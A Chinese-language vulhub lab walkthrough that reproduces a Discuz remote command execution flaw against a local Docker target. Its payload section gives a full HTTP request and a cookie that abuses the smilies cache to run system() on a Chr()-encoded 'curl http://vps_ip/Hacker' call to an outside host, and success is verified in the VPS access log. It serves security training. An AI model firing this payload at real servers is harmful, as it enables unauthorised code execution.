【vulhub】Discuz-命令执行 wooyun-2010-080723

一、启动靶机

docker-compose build

docker-compose up -d

二、安装

URL:

http://192.168.150.146:8080/install

安装数据库。数据库服务器填写db（必须db，不然安装失败），数据库名为discuz，数据库账号密码均为root，管理员密码任意。填写联系方式页面直接点击跳过本步后跳转到首页,登录成功后进入默认板块，开启Burp抓包，然后随便点击一篇贴子

三、构造payload

请求：

GET /viewthread.php?tid=9&extra=page%3D1 HTTP/1.1
Host: 192.168.150.146:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.150.146:8080/forumdisplay.php?fid=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check; cZZ_visitedfid=2; cZZ_oldtopics=D6D; cZZ_fid2=1638772681; cZZ_sid=i4JJSc
Connection: close

curl http://vps_ip/Hacker

命令转换为ascill码

替换请求中cookie为下面cookie

Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=system(Chr(99).Chr(117).Chr(114).Chr(108).Chr(32).Chr(104).Chr(116).Chr(116).Chr(112).Chr(...).Chr(97).Chr(99).Chr(107).Chr(101).Chr(114))

四、发送payload

五、检验

在VPS上的apache日志有靶机的请求记录

tail -n 1 -f /var/log/apache2/access.log